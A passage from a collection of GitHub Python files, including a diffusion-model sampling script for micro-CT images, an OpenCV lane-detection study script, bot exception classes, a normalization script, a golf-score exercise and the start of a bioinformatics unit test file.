return self.NO_WIN\nclass MixedComputerPlayer(ComputerPlayer):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, value, high_score)\n perfect_player = PerfectComputerPlayer(name, value, high_score) \n random_player = RandomComputerPlayer(name, value, high_score) \n self.strategy = [perfect_player, random_player]\n def move(self, board):\n return random.choice(self.strategy).move(board)\n","repo_name":"lauryndbrown/ASCII_Tic_Tac_Toe","sub_path":"tic_tac_toe/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"18531831457","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torchvision.datasets import ImageFolder\nimport functools\nimport pandas as pd\nimport sys\nimport os\nfrom PIL import Image\nimport re\nfrom scipy import integrate\nfrom torchvision.utils import make_grid\nfrom skimage import io\nfrom skimage.metrics import structural_similarity as compare_ssim\n\nimport matplotlib\nmatplotlib.use('Agg') # Set the backend before importing pyplot\nimport matplotlib.pyplot as plt\n\n\n## PARAMETERS\n\ndevice = 'cuda' #@param ['cuda', 'cpu'] {'type':'string'}\nerror_tolerance = 1e-5 #@param {'type': 'number'}\nsample_batch_size = 4 #@param {'type':'integer'}\nz_index =0\n\n# same as for training\nsigma = 25.0 #@param {'type':'number'}\nn_epochs = 10000 #@param {'type':'integer'}\nbatch_size = 32 #@param {'type':'integer'}\nlr = 1e-3 #@param {'type':'number'}\n\n## GENERATING\n\n# Load weights\nload_filename = f\"batchsize_{batch_size}lr_{lr}_sigma_{sigma}_epochs_{n_epochs}.pth\"\nscore_model = ScoreNet(marginal_prob_std, channels=[32, 64, 128, 256], embed_dim=256)\nscore_model.load_state_dict(torch.load(load_filename, map_location=device))\nscore_model.eval() # Ensure the model is in evaluation mode (not training mode)\n\ndiffusion_coeff_fn = functools.partial(diffusion_coeff, sigma=sigma)\nsampler = ode_sampler\n\n## Generate samples using the specified sampler.\nsamples = sampler(score_model,\n marginal_prob_std_fn,\n diffusion_coeff_fn,\n subset_dataset,\n z_index,\n sample_batch_size,\n device=device)\n\n#Sample visualization.\nsamples = samples.clamp(0.0, 1.0)\nsample_grid = make_grid(samples, nrow=int(np.sqrt(sample_batch_size)))\n\nplt.figure(figsize=(6, 6))\nplt.axis('off')\nplt.imshow(sample_grid.permute(1, 2, 0).cpu(), vmin=0., vmax=1., cmap='gray')\n\n# Save the sample visualization figure\nfilename = f\"batchsize_{batch_size}lr_{lr}_sigma_{sigma}_epochs_{n_epochs}_index_{z_index}\"\nsample_fig_path = filename+'_generated.png'\nplt.savefig(sample_fig_path, bbox_inches='tight', pad_inches=0.1)\nplt.close() # Close the figure to start a new one\n\nimage_list, z_coord = subset_dataset[z_index]\nprev_image = image_list[0]\ncurrent_image = image_list[1]\nnext_image = image_list[2]\n\nprev_image_np = prev_image.cpu().numpy()\ncurrent_image_np = current_image.cpu().numpy()\nnext_image_np = next_image.cpu().numpy()\n\n# Plotting\nplt.figure(figsize=(8, 4))\n\n# Plotting the first image\nplt.subplot(1, 3, 1)\nplt.imshow(prev_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Previous Image')\nplt.axis('off')\n\n# Plotting the second image\nplt.subplot(1, 3, 2)\nplt.imshow(current_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Current Image')\nplt.axis('off')\n\n# Plotting the third image\nplt.subplot(1, 3, 3)\nplt.imshow(next_image_np, cmap='gray') # Assuming images are grayscale\nplt.title('Next Image')\nplt.axis('off')\n\n# Save the second set of figures\nimage_fig_path = filename+'_original.png'\nplt.savefig(image_fig_path, bbox_inches='tight', pad_inches=0.1)\nplt.close() # Close the figure\n\n\n## SSIM\n\nprint(f\"SSIM of Previous image and generated: {mean_ssim(prev_image_np, samples)}\")\nprint(f\"SSIM of Current image and generated: {mean_ssim(current_image_np, samples)}\")\nprint(f\"SSIM of Next image and generated: {mean_ssim(next_image_np, samples)}\")\n\n\n## FUNCTIONS\n\nclass GaussianFourierProjection(nn.Module):\n \"\"\"Gaussian random features for encoding time steps.\"\"\"\n def __init__(self, embed_dim, scale=30.):\n super().__init__()\n # Randomly sample weights during initialization. These weights are fixed\n # during optimization and are not trainable.\n self.W = nn.Parameter(torch.randn(embed_dim // 2) * scale, requires_grad=False)\n def forward(self, x):\n x_proj = x[:, None] * self.W[None, :] * 2 * np.pi\n return torch.cat([torch.sin(x_proj), torch.cos(x_proj)], dim=-1)\n\n\nclass Dense(nn.Module):\n \"\"\"A fully connected layer that reshapes outputs to feature maps.\"\"\"\n def __init__(self, input_dim, output_dim):\n super().__init__()\n self.dense = nn.Linear(input_dim, output_dim)\n def forward(self, x):\n return self.dense(x)[..., None, None]\n\n\nclass ScoreNet(nn.Module):\n \"\"\"A time-dependent score-based model built upon U-Net architecture.\"\"\"\n\n def __init__(self, marginal_prob_std, channels=[32, 64, 128, 256], embed_dim=256):\n \"\"\"Initialize a time-dependent score-based network.\n\n Args:\n marginal_prob_std: A function that takes time t and gives the standard\n deviation of the perturbation kernel p_{0t}(x(t) | x(0)).\n channels: The number of channels for feature maps of each resolution.\n embed_dim: The dimensionality of Gaussian random feature embeddings.\n \"\"\"\n super().__init__()\n # Gaussian random feature embedding layer for time\n self.embed = nn.Sequential(GaussianFourierProjection(embed_dim=embed_dim),\n nn.Linear(embed_dim, embed_dim))\n # Encoding layers where the resolution decreases\n self.conv1 = nn.Conv2d(3, channels[0], 3, stride=1, bias=False)\n self.dense1 = Dense(embed_dim, channels[0])\n self.gnorm1 = nn.GroupNorm(4, num_channels=channels[0])\n self.conv2 = nn.Conv2d(channels[0], channels[1], 3, stride=2, bias=False)\n self.dense2 = Dense(embed_dim, channels[1])\n self.gnorm2 = nn.GroupNorm(32, num_channels=channels[1])\n self.conv3 = nn.Conv2d(channels[1], channels[2], 3, stride=2, bias=False)\n self.dense3 = Dense(embed_dim, channels[2])\n self.gnorm3 = nn.GroupNorm(32, num_channels=channels[2])\n self.conv4 = nn.Conv2d(channels[2], channels[3], 3, stride=2, bias=False)\n self.dense4 = Dense(embed_dim, channels[3])\n self.gnorm4 = nn.GroupNorm(32, num_channels=channels[3])\n\n # Decoding layers where the resolution increases\n self.tconv4 = nn.ConvTranspose2d(channels[3], channels[2], 3, stride=2, bias=False, output_padding=1)\n self.dense5 = Dense(embed_dim, channels[2])\n self.tgnorm4 = nn.GroupNorm(32, num_channels=channels[2])\n self.tconv3 = nn.ConvTranspose2d(channels[2] + channels[2], channels[1], 3, stride=2, bias=False, output_padding=1)\n self.dense6 = Dense(embed_dim, channels[1])\n self.tgnorm3 = nn.GroupNorm(32, num_channels=channels[1])\n self.tconv2 = nn.ConvTranspose2d(channels[1] + channels[1], channels[0], 3, stride=2, bias=False, output_padding=1)\n self.dense7 = Dense(embed_dim, channels[0])\n self.tgnorm2 = nn.GroupNorm(32, num_channels=channels[0])\n self.tconv1 = nn.ConvTranspose2d(channels[0] + channels[0], 3, 3, stride=1)\n\n # The swish activation function\n self.act = lambda x: x * torch.sigmoid(x)\n self.marginal_prob_std = marginal_prob_std\n\n def forward(self, x, t):\n embed = self.act(self.embed(t))\n\n # Encoding path\n h1 = self.conv1(x)\n h1 += self.dense1(embed)\n h1 = self.gnorm1(h1)\n h1 = self.act(h1)\n\n h2 = self.conv2(h1)\n h2 += self.dense2(embed)\n h2 = self.gnorm2(h2)\n h2 = self.act(h2)\n\n h3 = self.conv3(h2)\n h3 += self.dense3(embed)\n h3 = self.gnorm3(h3)\n h3 = self.act(h3)\n\n h4 = self.conv4(h3)\n h4 += self.dense4(embed)\n h4 = self.gnorm4(h4)\n h4 = self.act(h4)\n\n # Decoding path\n h = self.tconv4(h4)\n h += self.dense5(embed)\n h = self.tgnorm4(h)\n h = self.act(h)\n\n h = self.tconv3(torch.cat([h, h3], dim=1))\n h += self.dense6(embed)\n h = self.tgnorm3(h)\n h = self.act(h)\n\n h = self.tconv2(torch.cat([h, h2], dim=1))\n h += self.dense7(embed)\n h = self.tgnorm2(h)\n h = self.act(h)\n\n h = self.tconv1(torch.cat([h, h1], dim=1))\n\n h = h / self.marginal_prob_std(t)[:, None, None, None]\n return h\n\n\ndef marginal_prob_std(t, sigma):\n \"\"\"Compute the mean and standard deviation of $p_{0t}(x(t) | x(0))$.\n\n Args:\n t: A vector of time steps.\n sigma: The $\\sigma$ in our SDE.\n\n Returns:\n The standard deviation.\n \"\"\"\n t = torch.tensor(t, device=device)\n return torch.sqrt((sigma**(2 * t) - 1.) / 2. / np.log(sigma))\n\n\ndef diffusion_coeff(t, sigma):\n \"\"\"Compute the diffusion coefficient of our SDE.\n\n Args:\n t: A vector of time steps.\n sigma: The $\\sigma$ in our SDE.\n\n Returns:\n The vector of diffusion coefficients.\n \"\"\"\n return torch.tensor(sigma**t, device=device)\n\n\ndef loss_fn(model, x, marginal_prob_std, eps=1e-5):\n \"\"\"The loss function for training score-based generative models.\n\n Args:\n model: A PyTorch model instance that represents a\n time-dependent score-based model.\n x: A mini-batch of training data.\n marginal_prob_std: A function that gives the standard deviation of\n the perturbation kernel.\n eps: A tolerance value for numerical stability.\n \"\"\"\n random_t = torch.rand(x.shape[0], device=x.device) * (1. - eps) + eps\n z = torch.randn_like(x)\n\n std = marginal_prob_std(random_t)\n perturbed_x = x + z * std[:, None, None, None]\n score = model(perturbed_x, random_t)\n loss = torch.mean(torch.sum((score * std[:, None, None, None] + z)**2, dim=(1,2,3)))\n return loss\n\n\ndef ode_sampler(score_model,\n marginal_prob_std,\n diffusion_coeff,\n dataset,\n z_index,\n batch_size=64,\n atol=error_tolerance,\n rtol=error_tolerance,\n device='cuda',\n z=None,\n eps=1e-3):\n \"\"\"Generate samples from score-based models with black-box ODE solvers.\n\n Args:\n score_model: A PyTorch model that represents the time-dependent score-based model.\n marginal_prob_std: A function that returns the standard deviation\n of the perturbation kernel.\n diffusion_coeff: A function that returns the diffusion coefficient of the SDE.\n batch_size: The number of samplers to generate by calling this function once.\n atol: Tolerance of absolute errors.\n rtol: Tolerance of relative errors.\n device: 'cuda' for running on GPUs, and 'cpu' for running on CPUs.\n z: The latent code that governs the final sample. If None, we start from p_1;\n otherwise, we start from the given z.\n eps: The smallest time step for numerical stability.\n \"\"\"\n\n image_list, z_coord = dataset[z_index]\n prev_image = image_list[0]\n prev_image = prev_image.expand(batch_size, 1, -1, -1)\n prev_image = prev_image.to(device)\n next_image = image_list[2]\n next_image = next_image.expand(batch_size, 1, -1, -1)\n next_image = next_image.to(device)\n\n t = torch.ones(batch_size, device=device)\n\n # Create the latent code\n if z is None:\n noise = torch.randn(batch_size, 1, 32, 32, device=device) * marginal_prob_std(t)[:, None, None, None]\n init_x = torch.cat([prev_image, noise, next_image], dim=1)\n else:\n init_x = z\n\n shape = init_x.shape\n\n def score_eval_wrapper(sample, time_steps):\n \"\"\"A wrapper of the score-based model for use by the ODE solver.\"\"\"\n sample = torch.tensor(sample, device=device, dtype=torch.float32).reshape(shape)\n time_steps = torch.tensor(time_steps, device=device, dtype=torch.float32).reshape((sample.shape[0], ))\n with torch.no_grad():\n score = score_model(sample, time_steps)\n return score.cpu().numpy().reshape((-1,)).astype(np.float64)\n\n def ode_func(t, x):\n \"\"\"The ODE function for use by the ODE solver.\"\"\"\n time_steps = np.ones((shape[0],)) * t\n g = diffusion_coeff(torch.tensor(t)).cpu().numpy()\n return -0.5 * (g**2) * score_eval_wrapper(x, time_steps)\n\n # Run the black-box ODE solver.\n res = integrate.solve_ivp(ode_func, (1., eps), init_x.reshape(-1).cpu().numpy(), rtol=rtol, atol=atol, method='RK45')\n print(f\"Number of function evaluations: {res.nfev}\")\n x = torch.tensor(res.y[:, -1], device=device).reshape(shape)\n\n return x[:,1:2,:,:]\n\n\ndef calculate_ssim(image_1, image_2):\n # Convert PyTorch tensor to NumPy array if necessary\n if isinstance(image_2, torch.Tensor):\n image_2 = image_2.squeeze().detach().cpu().numpy()\n\n # Check if dimensions match\n if image_1.shape != image_2.shape:\n raise ValueError(\"The dimensions of the two images do not match.\")\n\n # Compute SSIM between two images\n ssim = compare_ssim(image_1, image_2)\n\n return ssim\n\n\ndef mean_ssim(image, samples): \n ssim = 0\n\n for sample in samples:\n ssim += calculate_ssim(image, sample)\n\n ssim = ssim/len(samples)\n return ssim","repo_name":"LinusJacobsson/generative-micro-ct","sub_path":"scripts/scripts_SDE/SDE_conditioned_generate.py","file_name":"SDE_conditioned_generate.py","file_ext":"py","file_size_in_byte":12488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8896278356","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 9 14:51:13 2017\r\n\r\n@author: HC\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.image as mpimg\r\nimport numpy as np\r\n\r\n# read in the image and print out some states\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/test.jpg\")\r\nprint('This image is: ', type(image), 'with dimensions: ',image.shape)\r\n\r\n# Grab the x and y size and make a copy of the image\r\nysize = image.shape[0]\r\nxsize = image.shape[1]\r\n\r\n#######################\r\n### Color Selection ###\r\n#######################\r\n\r\n# Note: always make a copy rather than simply using \"=\"\r\ncolor_select = np.copy(image)\r\n\r\n# Define color selection criteria\r\nred_threshold = 210\r\ngreen_threshold = 210\r\nblue_threshold = 210\r\nrgb_threshold = [red_threshold, green_threshold, blue_threshold]\r\n\r\n# Identify pixels below the threshold\r\nthresholds = (image[:,:,0] < rgb_threshold[0])\\\r\n |(image[:,:,1] < rgb_threshold[1])\\\r\n |(image[:,:,2] < rgb_threshold[2])\r\ncolor_select[thresholds] = [0,0,0]\r\n\r\n# Display the image\r\nplt.imshow(color_select)\r\nplt.show()\r\n\r\n# Change red_threshold, green_threshold and blue_threshold until enough desired imformation is retained.\r\n\r\n######################\r\n### Region Masking ###\r\n######################\r\n\r\nregion_select = np.copy(image)\r\n# Define a triangle region of interest\r\n# Keep in mind the origin (x = 0, y = 0) is in the upper left in the image processing\r\nleft_bottom = [0,539]\r\nright_bottom = [900,539]\r\napex = [400,300]\r\n\r\n# Fit lines (y = Ax + B) to identify the 3 sided region of interest\r\n# np.polyfit() returns the coefficients [A,B] of the fit\r\nfit_left = np.polyfit((left_bottom[0], apex[0]), (left_bottom[1], apex[1]), 1)\r\nfit_right = np.polyfit((right_bottom[0], apex[0]), (right_bottom[1], apex[1]), 1)\r\nfit_bottom = np.polyfit((left_bottom[0], right_bottom[0]), (left_bottom[1], right_bottom[1]), 1)\r\n\r\n# Find the region inside the lines\r\nXX, YY = np.meshgrid(np.arange(0,xsize), np.arange(0,ysize))\r\nregion_thresholds = (YY > (XX*fit_left[0] + fit_left[1])) &\\\r\n (YY > (XX*fit_right[0] + fit_right[1])) &\\\r\n (YY < (XX*fit_bottom[0] + fit_bottom[1]))\r\n \r\n# Color pixels red which are inside the region of interest\r\nregion_select[region_thresholds] = [255,0,0]\r\n\r\nplt.imshow(region_select)\r\n\r\n# change left_bottom, right_bottom, apex to see different results\r\n\r\n###########################################\r\n### Combine Color and Region Selections ###\r\n###########################################\r\n\r\ncolor_select= np.copy(image)\r\nline_image = np.copy(image)\r\n\r\n# Define our color criteria\r\nred_threshold = 210\r\ngreen_threshold = 210\r\nblue_threshold = 210\r\nrgb_threshold = [red_threshold, green_threshold, blue_threshold]\r\n\r\n# Define a triangle region of interest (Note: if you run this code, \r\n# Keep in mind the origin (x=0, y=0) is in the upper left in image processing\r\nleft_bottom = [0, 539]\r\nright_bottom = [900, 539]\r\napex = [450, 300]\r\n\r\nfit_left = np.polyfit((left_bottom[0], apex[0]), (left_bottom[1], apex[1]), 1)\r\nfit_right = np.polyfit((right_bottom[0], apex[0]), (right_bottom[1], apex[1]), 1)\r\nfit_bottom = np.polyfit((left_bottom[0], right_bottom[0]), (left_bottom[1], right_bottom[1]), 1)\r\n\r\n# Mask pixels below the threshold\r\ncolor_thresholds = (image[:,:,0] < rgb_threshold[0]) | \\\r\n (image[:,:,1] < rgb_threshold[1]) | \\\r\n (image[:,:,2] < rgb_threshold[2])\r\n\r\n# Find the region inside the lines\r\nXX, YY = np.meshgrid(np.arange(0, xsize), np.arange(0, ysize))\r\nregion_thresholds = (YY > (XX*fit_left[0] + fit_left[1])) & \\\r\n (YY > (XX*fit_right[0] + fit_right[1])) & \\\r\n (YY < (XX*fit_bottom[0] + fit_bottom[1]))\r\n \r\n# Mask color selection\r\ncolor_select[color_thresholds] = [0,0,0]\r\n\r\n# Find where image is both colored right and in the region\r\nline_image[~color_thresholds & region_thresholds] = [255,0,0]\r\n\r\n# Display our two output images\r\nplt.imshow(image)\r\nx = [left_bottom[0], right_bottom[0], apex[0], left_bottom[0]]\r\ny = [left_bottom[1], right_bottom[1], apex[1], left_bottom[1]]\r\nplt.plot(x, y, 'b--', lw=4)\r\n\r\nplt.imshow(color_select)\r\nplt.imshow(line_image)\r\n\r\n############################\r\n### Canny Edge Detection ###\r\n############################\r\n\r\n# import an image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\nplt.imshow(image)\r\n\r\nimport cv2 # bringing in OpenCV libraries\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # grayscale conversion\r\nplt.imshow(gray, cmap = 'gray')\r\n\r\n# Define a kernel size for Gaussian smoothing / blurring\r\n# Note: this step is optional as cv2.Canny() applies a 5x5 Gaussian internally\r\nkernel_size = 3\r\nblur_gray = cv2.GaussianBlur(gray,(kernel_size, kernel_size), 0)\r\n\r\n# Define parameters for Canny and run it\r\n# NOTE: if you try running this code you might want to change these!\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# Display the image\r\nplt.imshow(edges, cmap='Greys_r')\r\n\r\n#####################################\r\n### Hough Transform to Find Lines ###\r\n#####################################\r\n\r\n# read in and grayscale the image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\r\nplt.imshow(gray)\r\n# define a kernel size and apply Gaussian smoothing\r\nkernel_size = 5\r\nblur_gray = cv2.GaussianBlur(gray, (kernel_size, kernel_size), 0)\r\n\r\n# define parameters for Canny and apply\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# define the Hough transform parameters\r\n# make a blank the same size as the image to draw on \r\nrho = 1\r\ntheta = np.pi/180\r\nthreshold = 1\r\nmin_line_length = 40\r\nmax_line_gap = 1\r\nline_image = np.copy(image)*0 # create a blank to draw lines on\r\n\r\n# run Hough on edge detected image\r\nlines = cv2.HoughLinesP(edges, rho, theta, threshold, np.array([]),\r\n min_line_length, max_line_gap)\r\n\r\n# draw lines on the blank \r\nfor line in lines:\r\n for x1,y1,x2,y2 in line:\r\n cv2.line(line_image, (x1,y1),(x2,y2), (255,0,0),10)\r\nplt.imshow(line_image)\r\n\r\n# create a 'color' binary image to combine with line image \r\ncolor_edges = np.dstack((edges, edges, edges))\r\n\r\n# draw the line on the edge image\r\ncombo = cv2.addWeighted(color_edges, 0.8, line_image, 1, 0)\r\nplt.imshow(combo)\r\n\r\n\r\n###################################\r\n### Add Mask to Hough Transform ###\r\n###################################\r\n\r\n# read in and grayscale the image\r\nimage = mpimg.imread(\"D:/STUDY/17-Python/LaneDetection/exit-ramp.jpg\")\r\ngray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)\r\nplt.imshow(gray)\r\n# define a kernel size and apply Gaussian smoothing\r\nkernel_size = 5\r\nblur_gray = cv2.GaussianBlur(gray, (kernel_size, kernel_size), 0)\r\n\r\n# define parameters for Canny and apply\r\nlow_threshold = 50\r\nhigh_threshold = 150\r\nedges = cv2.Canny(blur_gray, low_threshold, high_threshold)\r\n\r\n# before implementing the Hough transform, we first create a maked edges image using cv2.fillPoly()\r\nmask = np.zeros_like(edges)\r\nignore_mask_color = 255\r\n\r\nimage_shape = image.shape\r\nvertices = np.array([[(0,image_shape[0]),(450,300),(500,300), (image_shape[1], image_shape[0])]], \r\n dtype = np.int32)\r\ncv2.fillPoly(mask, vertices, ignore_mask_color)\r\nmasked_edges = cv2.bitwise_and(edges, mask)\r\n#plt.imshow(masked_edges)\r\n\r\n#X = [0,450,500,image_shape[1]]\r\n#Y = [image_shape[0],300,300,image_shape[0]]\r\n#plt.plot(X, Y, 'b--', lw=4)\r\n\r\n# define the Hough transform parameters\r\n# make a blank the same size as the image to draw on \r\nrho = 1 # distance resolution\r\ntheta = np.pi/180 # angular resolution\r\nthreshold = 15 # minimum number of votes\r\nmin_line_length = 40 # minimum number of pixels making up a line\r\nmax_line_gap = 20 # maximum gap in pixels between connectable lien segments\r\nline_image = np.copy(image)*0 # create a blank to draw lines on\r\n\r\n# run Hough on edge detected image\r\nlines = cv2.HoughLinesP(masked_edges, rho, theta, threshold, np.array([]),\r\n min_line_length, max_line_gap)\r\n\r\n# draw lines on the blank \r\nfor line in lines:\r\n for x1,y1,x2,y2 in line:\r\n cv2.line(line_image, (x1,y1),(x2,y2), (255,0,0),10)\r\nplt.imshow(line_image)\r\n\r\n# create a 'color' binary image to combine with line image \r\ncolor_edges = np.dstack((edges, edges, edges))\r\n\r\n# draw the line on the edge image\r\ncombo = cv2.addWeighted(color_edges, 0.8, line_image, 1, 0)\r\nplt.imshow(combo)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"c-huang-tty/Self-driving-Car-Projects","sub_path":"CarND-LaneDetection-Basics/LaneDetection-Study_Notes/LaneDetection.py","file_name":"LaneDetection.py","file_ext":"py","file_size_in_byte":8625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71464813674","text":"from app.database import Users\nfrom app.utils.translator import _\n\n\nclass BotInteractionError(Exception):\n def __init__(self, user: Users, text: str):\n self.user = user\n self.text = text\n super(BotInteractionError, self).__init__(text)\n\n\nclass AccessError(BotInteractionError):\n pass\n\n\nclass MissingArgumentsError(BotInteractionError):\n def __init__(self, user: Users, missing_args):\n self.missing_args = missing_args\n super(MissingArgumentsError, self).__init__(\n user,\n _('Command arguments is missing: {args}',\n user=user).format(args=\", \".join(missing_args))\n )\n\n\nclass TargetNotExistsError(BotInteractionError):\n def __init__(self, user: Users, target: str):\n self.target = target\n super(TargetNotExistsError, self).__init__(\n user,\n _('Target does not exists: {target}', user=user).format(target=target)\n )\n\n\nclass FileDoesNotExists(BotInteractionError):\n def __init__(self, user: Users, path: str):\n self.path = path\n super(FileDoesNotExists, self).__init__(\n user,\n _('File {path} does not exists!', user=user).format(path=path)\n )\n","repo_name":"CrazyProger1/PC-Alarm","sub_path":"app/exceptions/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"72"} +{"seq_id":"40414588812","text":"import numpy as np\n\nfp = open(\"inliers\", \"rb\")\ndata = np.load(fp, allow_pickle=True)\n\n# 4 features: rating, numOfRatings, popularity, gross\nnumOfRatings = data[:, 0]\nnumOfRatings = numOfRatings[0]\nmaxNumOfRatings = np.amax(numOfRatings)\nminNumOfRatings = np.amin(numOfRatings)\n\npopularity = data[:, 0]\npopularity = popularity[1]\nmaxPopularity = np.amax(popularity)\nminPopularity = np.amin(popularity)\n\ngross = data[:, 0]\ngross = gross[2]\nmaxGross = np.amax(gross)\nminGross = np.amin(gross)\n\nrating = data[:, 1]\nmaxRating = np.amax(rating)\nminRating = np.amin(rating)\n\n# normalize data (between 0 and 1, inclusive)\n# xnorm = (xi - xmin) / (xmax - xmin)\nfor i in range(len(data)):\n data[i][0][0] = (data[i][0][0] - minNumOfRatings) / (maxNumOfRatings - minNumOfRatings)\n data[i][0][1] = (data[i][0][1] - minPopularity) / (maxPopularity - minPopularity)\n data[i][0][2] = (data[i][0][2] - minGross) / (maxGross - minGross)\n data[i][1] = (data[i][1] - minRating) / (maxRating - minRating)\n\nfp = open(\"normalized\", \"wb\")\nnp.save(fp, data)\nfp.close()\n\nprint(data)","repo_name":"kkprep/movie-recommender","sub_path":"src/normalization.py","file_name":"normalization.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12382851917","text":"#Taru Mishra, tm36775\n#10-24-22\n#This code will take in the pars and strokes from the user and output the score\npar = int(input(\"Enter a par value: \")) #stores the par value from user as an int\nstrokes = int(input(\"Enter the strokes value: \")) #stores the strokes value from user as an int\n\nif (par <3) or (par >5): #If statement checks to see if par is less than 3 or more than 5\n print(\"Error. Make sure par is 3,4, or 5\") #Outputs the error statement.\nelse: #Else statement executes if the above condition is not met\n if strokes == (par-2): #given the else condition that strokes = par -2\n print(\"Eagle\") #Print statement outputs Eagle\n elif strokes == (par-1): #given the else condition that strokes = par -1\n print(\"Birdie\") #Print statement outputs Birdie\n elif par == strokes: #given the else condition that strokes = par\n print(\"Par\") #Print statement outputs Par\n elif strokes == par + 1: #given the else condition that strokes = par + 1\n print(\"Bogey\") #Print statement outputs Bogey\n else: #If none of the elif conditions within the else are met, then a statement saying that there is an error will execute\n print(\"there is an error\")\n","repo_name":"tarumishra9498/Taru-s_Code_Assignments-Projects","sub_path":"BME303_Lab6_P4_TaruMishra-1 (1).py","file_name":"BME303_Lab6_P4_TaruMishra-1 (1).py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"9158020736","text":"# test module: test_novelsplices.py\n# main program: samplespecificdbgenerator.py\n\nimport unittest\nimport novelsplices\nimport refparse\nimport BedEntry\nfrom lxml import etree as et\n\nHTML_NS = \"http://uniprot.org/uniprot\"\nXSI_NS = \"http://www.w3.org/2001/XMLSchema-instance\"\nNAMESPACE_MAP = {None:HTML_NS, \"xsi\":XSI_NS}\nUP = '{'+HTML_NS+'}'\n\nclass Test_enter_seqvar(unittest.TestCase):\n def setUp(self):\n self.root = et.Element(UP+'uniprot', nsmap=NAMESPACE_MAP)\n self.db = et.ElementTree(self.root)\n\n def test_enter_seqvar(self):\n novelsplices.enter_seqvar(self.root, \">accession\", \"peptide:seqtype\", \"chromosome\", \"full name\", \"loci\", \"score\", \"geneId\", \"transcriptId\", \"seq\\nuence\")\n self.assertNotEqual(self.root[0].find(UP+'accession'), None)\n self.assertTrue(self.root[0].find(UP+'accession').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'name'), None)\n self.assertTrue(self.root[0].find(UP+'name').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'protein').find(UP+'recommendedName').find(UP+'fullName'), None)\n self.assertTrue(self.root[0].find(UP+'protein').find(UP+'recommendedName').find(UP+'fullName').text not in [None, ''])\n self.assertNotEqual(self.root[0].find(UP+'organism'), None)\n self.assertNotEqual(self.root[0].find(UP+'proteinExistence'), None)\n self.assertNotEqual(self.root[0].find(UP+'proteinExistence').find(UP+'depth'), None)\n self.assertNotEqual(self.root[0].find(UP+'sequence'), None)\n self.assertTrue(self.root[0].find(UP+'sequence').text not in [None, ''])\n self.assertTrue(self.root[0].find(UP+'sequence').text.find('\\n') < 0)\n \nclass Test_generate_tryptic_peptides(unittest.TestCase):\n def test_no_k_or_r(self):\n result = novelsplices.generate_tryptic_peps(\"AAA\")\n self.assertEqual(result, [\"AAA\"])\n\n def test_k_nterminus(self):\n result = novelsplices.generate_tryptic_peps(\"KAAA\")\n self.assertEqual(result, [\"K\", \"AAA\"])\n \n def test_k_cterminus(self):\n result = novelsplices.generate_tryptic_peps(\"AAAK\")\n self.assertEqual(result, [\"AAAK\"])\n \n def test_r_nterminus(self):\n result = novelsplices.generate_tryptic_peps(\"RAAA\")\n self.assertEqual(result, [\"R\", \"AAA\"])\n \n def test_r_cterminus(self):\n result = novelsplices.generate_tryptic_peps(\"AAAR\")\n self.assertEqual(result, [\"AAAR\"])\n \n def test_internal_k_split(self):\n result = novelsplices.generate_tryptic_peps(\"KAAKAAAK\")\n self.assertEqual(result, [\"K\", \"AAK\", \"AAAK\"])\n \n def test_internal_r_split(self):\n result = novelsplices.generate_tryptic_peps(\"RAARAAAR\")\n self.assertEqual(result, [\"R\", \"AAR\", \"AAAR\"])\n \n def test_mix_split(self):\n result = novelsplices.generate_tryptic_peps(\"KARAAKAAARAAAAKAAAAA\")\n self.assertEqual(result, [\"K\", \"AR\", \"AAK\", \"AAAR\", \"AAAAK\", \"AAAAA\"])\n \n def test_all_amino_acids(self):\n result = novelsplices.generate_tryptic_peps(\"FLSYCWPHQRIMTNKVADEG\")\n self.assertEqual(result, [\"FLSYCWPHQR\", \"IMTNK\", \"VADEG\"])\n \n def test_non_standard_amino_acid(self):\n result = novelsplices.generate_tryptic_peps(\"X\")\n self.assertEqual(result, [\"X\"])\n \nclass Test_update_tryptic_peptide_chromosome_indices(unittest.TestCase):\n def setUp(self):\n self.trypFragIndex = 10\n self.exon1Right = 20 \n self.exon2Left = 100\n self.peptide = \"AAAAA\" #5mer -> 15 nts; should end at 24\n \n #No boundary crossing\n def test_update_index_within_exon1(self):\n trypFragIndex = 10\n exon1Right = 20 \n exon2Left = 100\n peptide = \"A\" #[10,11,12],13\n trypFragIndex = novelsplices.update_tryp_index(trypFragIndex, exon1Right, exon2Left, peptide)\n self.assertEqual(trypFragIndex, 13)\n \n def 